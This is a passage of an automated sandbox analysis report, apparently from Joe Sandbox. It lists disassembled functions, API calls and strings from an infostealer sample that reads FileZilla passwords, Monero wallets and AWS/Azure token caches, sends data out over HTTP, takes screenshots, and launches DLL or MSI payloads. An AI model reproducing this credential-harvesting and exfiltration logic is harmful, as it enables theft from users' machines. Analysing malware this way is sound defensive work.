password: , xrefs: 004705FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004702A4

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: d5403a31484e6a96d63738ed1dd4060431219fe0a8cd76aa5a7df71d49300638
Instruction ID: 45d7dd7d24f1fafcc32acfad96209c342d0ea9bc66092620dab54c48756bddf2
Opcode Fuzzy Hash: d5403a31484e6a96d63738ed1dd4060431219fe0a8cd76aa5a7df71d49300638
Instruction Fuzzy Hash: 5CD14171900108ABCB04FBF5DD96EEE7379AF54304F54841EF106B6091EF78AA16CB6A

Function 00465960 Relevance: 42.5, APIs: 17, Strings: 7, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

Part of subcall function 004647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00464839
Part of subcall function 004647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00464849

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004659F8
StrCmpCA.SHLWAPI(?,00E8E2F0), ref: 00465A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00465B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00E8E260,00000000,?,00E89F78,00000000,?,00481A1C), ref: 00465E71
lstrlen.KERNEL32(00000000), ref: 00465E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00465E93
RtlAllocateHeap.NTDLL(00000000), ref: 00465E9A
lstrlen.KERNEL32(00000000), ref: 00465EAF
lstrlen.KERNEL32(00000000), ref: 00465ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00465EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00465F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00465F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00465F4C
InternetCloseHandle.WININET(00000000), ref: 00465FB0
InternetCloseHandle.WININET(00000000), ref: 00465FBD
HttpOpenRequestA.WININET(00000000,00E8E270,?,00E8DCF8,00000000,00000000,00400100,00000000), ref: 00465BF8

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

InternetCloseHandle.WININET(00000000), ref: 00465FC7

Strings

------, xrefs: 00465D4C
", xrefs: 00465E16
------, xrefs: 00465A96
", xrefs: 00465CD5
------, xrefs: 00465C0B
p, xrefs: 00465BEA
`, xrefs: 00465DED

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$`$p
API String ID: 874700897-3415936598
Opcode ID: f7f5dbd531b0b1a544b91979e3a0057ad1d94dabefd445700e4bfeeb105d7226
Instruction ID: 51cd60e2f3e6057880fc6f04db6b1a72f31afdea08cce2fb3c169fd9932a7b17
Opcode Fuzzy Hash: f7f5dbd531b0b1a544b91979e3a0057ad1d94dabefd445700e4bfeeb105d7226
Instruction Fuzzy Hash: 391243B1820118ABCB14FBA1DC95FEE7378BF54704F10855EF10A62091EF786A59CF6A

Function 0046CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

Part of subcall function 00478B60: GetSystemTime.KERNEL32(00480E1A,00E89FA8,004805AE,?,?,004613F9,?,0000001A,00480E1A,00000000,?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 00478B86

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0046CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0046D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0046D0CE
lstrcat.KERNEL32(?,00000000), ref: 0046D208
lstrcat.KERNEL32(?,00481478), ref: 0046D217
lstrcat.KERNEL32(?,00000000), ref: 0046D22A
lstrcat.KERNEL32(?,0048147C), ref: 0046D239
lstrcat.KERNEL32(?,00000000), ref: 0046D24C
lstrcat.KERNEL32(?,00481480), ref: 0046D25B
lstrcat.KERNEL32(?,00000000), ref: 0046D26E
lstrcat.KERNEL32(?,00481484), ref: 0046D27D
lstrcat.KERNEL32(?,00000000), ref: 0046D290
lstrcat.KERNEL32(?,00481488), ref: 0046D29F
lstrcat.KERNEL32(?,00000000), ref: 0046D2B2
lstrcat.KERNEL32(?,0048148C), ref: 0046D2C1
lstrcat.KERNEL32(?,00000000), ref: 0046D2D4
lstrcat.KERNEL32(?,00481490), ref: 0046D2E3

Part of subcall function 0047A820: lstrlen.KERNEL32(00464F05,?,?,00464F05,00480DDE), ref: 0047A82B
Part of subcall function 0047A820: lstrcpy.KERNEL32(00480DDE,00000000), ref: 0047A885

lstrlen.KERNEL32(?), ref: 0046D32A
lstrlen.KERNEL32(?), ref: 0046D339

Part of subcall function 0047AA70: StrCmpCA.SHLWAPI(00E88B30,0046A7A7,?,0046A7A7,00E88B30), ref: 0047AA8F

DeleteFileA.KERNEL32(00000000), ref: 0046D3B4

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: ac0780cd199e06d85c3ca92aa1f5c967d4045287c9db4d393dee95f07db265bf
Instruction ID: 5dd28875c5e3dcb2a1f255f6bf5ca84dbeeba528b83ac8cac0bb87583a7504c2
Opcode Fuzzy Hash: ac0780cd199e06d85c3ca92aa1f5c967d4045287c9db4d393dee95f07db265bf
Instruction Fuzzy Hash: ABE13071910108ABCB04FBA1DD96EEE7379AF54305F10855AF10AA6091DF38BE16CF6B

Function 0046C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00E8C928,00000000,?,0048144C,00000000,?,?), ref: 0046CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0046CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0046CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0046CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0046CAD9
StrStrA.SHLWAPI(?,00E8CAD8,00480B52), ref: 0046CAF7
StrStrA.SHLWAPI(00000000,00E8C970), ref: 0046CB1E
StrStrA.SHLWAPI(?,00E8D3D8,00000000,?,00481458,00000000,?,00000000,00000000,?,00E88A70,00000000,?,00481454,00000000,?), ref: 0046CCA2
StrStrA.SHLWAPI(00000000,00E8D098), ref: 0046CCB9

Part of subcall function 0046C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0046C871
Part of subcall function 0046C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0046C87C

StrStrA.SHLWAPI(?,00E8D098,00000000,?,0048145C,00000000,?,00000000,00E88AA0), ref: 0046CD5A
StrStrA.SHLWAPI(00000000,00E88940), ref: 0046CD71

Part of subcall function 0046C820: lstrcat.KERNEL32(?,00480B46), ref: 0046C943
Part of subcall function 0046C820: lstrcat.KERNEL32(?,00480B47), ref: 0046C957
Part of subcall function 0046C820: lstrcat.KERNEL32(?,00480B4E), ref: 0046C978

lstrlen.KERNEL32(00000000), ref: 0046CE44
CloseHandle.KERNEL32(00000000), ref: 0046CE9C

Strings

, xrefs: 0046C9C6

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: b9631f06619d797fec6ab2edc97b561ecda5c87310a0377a757f24b1999f7c85
Instruction ID: 57b0922e0cec47808873e066310923f5befa6f330f967e082f46e7d229769f42
Opcode Fuzzy Hash: b9631f06619d797fec6ab2edc97b561ecda5c87310a0377a757f24b1999f7c85
Instruction Fuzzy Hash: 36E114B1800108ABDB14FBA1DC91FEEB779AF54304F00855EF11A67191DF386A5ACF6A

Function 00478320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

RegOpenKeyExA.ADVAPI32(00000000,00E8AD40,00000000,00020019,00000000,004805B6), ref: 004783A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00478426
wsprintfA.USER32 ref: 00478459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0047847B
RegCloseKey.ADVAPI32(00000000), ref: 0047848C
RegCloseKey.ADVAPI32(00000000), ref: 00478499

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

Strings

- , xrefs: 004785A3
?, xrefs: 0047837A
%s\%s, xrefs: 0047844D

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 3911c0d336b22c3572624e340a1a6666133e89d5fcb503a6b312c3c86f9b2193
Instruction ID: ef246e027e8e8f97fdc799b347b6e83ab249c15b122dc4648143332cb1ef6419
Opcode Fuzzy Hash: 3911c0d336b22c3572624e340a1a6666133e89d5fcb503a6b312c3c86f9b2193
Instruction Fuzzy Hash: 928140B1910118ABDB24EB54CC85FEE77B9BF48704F00C6DAE109A6140DF756B89CFA5

Function 00474D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00478DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00478E0B

lstrcat.KERNEL32(?,00000000), ref: 00474DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00474DCD

Part of subcall function 00474910: wsprintfA.USER32 ref: 0047492C
Part of subcall function 00474910: FindFirstFileA.KERNEL32(?,?), ref: 00474943

lstrcat.KERNEL32(?,00000000), ref: 00474E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00474E59

Part of subcall function 00474910: StrCmpCA.SHLWAPI(?,00480FDC), ref: 00474971
Part of subcall function 00474910: StrCmpCA.SHLWAPI(?,00480FE0), ref: 00474987
Part of subcall function 00474910: FindNextFileA.KERNEL32(000000FF,?), ref: 00474B7D
Part of subcall function 00474910: FindClose.KERNEL32(000000FF), ref: 00474B92

lstrcat.KERNEL32(?,00000000), ref: 00474EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00474EE5

Part of subcall function 00474910: wsprintfA.USER32 ref: 004749B0
Part of subcall function 00474910: StrCmpCA.SHLWAPI(?,004808D2), ref: 004749C5
Part of subcall function 00474910: wsprintfA.USER32 ref: 004749E2
Part of subcall function 00474910: PathMatchSpecA.SHLWAPI(?,?), ref: 00474A1E
Part of subcall function 00474910: lstrcat.KERNEL32(?,00E8E230), ref: 00474A4A
Part of subcall function 00474910: lstrcat.KERNEL32(?,00480FF8), ref: 00474A5C
Part of subcall function 00474910: lstrcat.KERNEL32(?,?), ref: 00474A70
Part of subcall function 00474910: lstrcat.KERNEL32(?,00480FFC), ref: 00474A82
Part of subcall function 00474910: lstrcat.KERNEL32(?,?), ref: 00474A96
Part of subcall function 00474910: CopyFileA.KERNEL32(?,?,00000001), ref: 00474AAC
Part of subcall function 00474910: DeleteFileA.KERNEL32(?), ref: 00474B31

Strings

*.*, xrefs: 00474DD8
\.aws\, xrefs: 00474E4D
*.*, xrefs: 00474E64
Azure\.aws, xrefs: 00474E5F
msal.cache, xrefs: 00474EF0
Azure\.azure, xrefs: 00474DD3
Azure\.IdentityService, xrefs: 00474EEB
\.IdentityService\, xrefs: 00474ED9
\.azure\, xrefs: 00474DC1

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: ec4fbc30593c54f150bb90d0010af6d879f40ff1f7dc842cb0a5ffeccce92feb
Instruction ID: 1c988d9fff92735ba6d22ff05380123f458901efb71f526e30406b521f979da4
Opcode Fuzzy Hash: ec4fbc30593c54f150bb90d0010af6d879f40ff1f7dc842cb0a5ffeccce92feb
Instruction Fuzzy Hash: 394173BA94020466C754F770DC47FED7238AB65704F00895AB689660C1EEBC5BC9CB96

Function 00479010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0047906C

Strings

image/jpeg, xrefs: 00479136

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: a729aae8013263e62df6b2446a9a3ddda79ef6cdde96fda19e87b1abb5e7004c
Instruction ID: ccf3dae6ecc145a86f074a43c2f121ac8cac2f5296177acc83325aedb57c42b0
Opcode Fuzzy Hash: a729aae8013263e62df6b2446a9a3ddda79ef6cdde96fda19e87b1abb5e7004c
Instruction Fuzzy Hash: 3271DE75910208ABDB04EFE4DC89FEEB7B9BF48704F14850AF516A7290DB38A905CF65

Function 00472E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

ShellExecuteEx.SHELL32(0000003C), ref: 004731C5
ShellExecuteEx.SHELL32(0000003C), ref: 0047335D
ShellExecuteEx.SHELL32(0000003C), ref: 004734EA

Strings

"" , xrefs: 0047309A
/passive, xrefs: 0047345B
.dll, xrefs: 004731E5
/i ", xrefs: 004733E4
.msi, xrefs: 00473398
C:\Windows\system32\msiexec.exe, xrefs: 004734BF
<, xrefs: 00473490
C:\Windows\system32\rundll32.exe, xrefs: 00473332

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: d80802d6855dd0a23d2ca095c48af07bbcb174479468df53f22769ea7b49dc4d
Instruction ID: 9e279c51d7742319016c4ccf7a7af749f50f8c1b180361274b24ab4b048bf8a8
Opcode Fuzzy Hash: d80802d6855dd0a23d2ca095c48af07bbcb174479468df53f22769ea7b49dc4d
Instruction Fuzzy Hash: 401243B18101089ADB15FBA1CC52FEEB738AF54304F50855FF50A66091EF382B5ACF6A

Function 004752C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

